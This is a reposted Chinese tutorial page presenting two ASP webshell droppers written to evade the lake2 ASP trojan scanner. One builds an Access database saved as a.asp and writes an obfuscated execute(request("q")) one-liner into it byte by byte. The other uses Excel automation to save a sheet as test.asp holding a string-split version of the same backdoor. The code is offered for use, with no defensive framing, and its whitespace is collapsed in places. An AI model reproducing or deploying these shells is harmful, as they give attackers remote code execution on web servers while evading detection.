zl程序教程

您现在的位置是:首页 >  移动开发

当前栏目

两个非常规ASP木马(可躲过扫描)

ASP 两个 扫描 木马 非常规
2023-06-13 09:14:11 时间
hanxiaolian
为了躲避lake2ASP站长管理助手而写..
一.绕过lake2Asp木马扫描的小马
复制代码代码如下:

<%
setc=CreateObject("ADOX.Catalog")
c.create("Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&Server.MapPath("a.asp"))
setc=Nothing
c&Server.MapPath("a.asp")
setconn=server.createobject("Adodb.Connection")
conn.openconnstr
conn.execute("createtablenomm(nomumaoleobject)")
setrs=server.createobject("adodb.recordset")
sql="SELECT*FROMnomm"
rs.opensql,conn,1,3
rs.addnew
rs("nomuma").appendchunk(chrB(asc("<"))&chrB(asc("%"))&chrB(asc("e"))&chrB
(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc("u"))&chrB(asc("t"))&chrB(asc
("e"))&chrB(asc("+"))&chrB(asc("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc
("u"))&chrB(asc("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34)
&chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))&chrB(asc(">")))
rs.update
rs.close
setrs=nothing
conn.close
setconn=nothing
%>

二.xls版aspwebshell
复制代码代码如下:

<%
SetxlA=Server.CreateObject("Excel.Application")
xlA.Visible=False
xlA.Workbooks.Add
SetxlWorksheet=xlA.Worksheets(1)
xlWorksheet.Cells(1,1).Value="<%ex"&"ec"&"ute(request(""q""))"+chr(37)+">"
"strFile="d:/test.asp"
strFile=Server.MapPath("test.asp")
xlWorkSheet.SaveAsstrFile
xlA.Quit
SetxlWorksheet=Nothing
SetxlA=Nothing
%>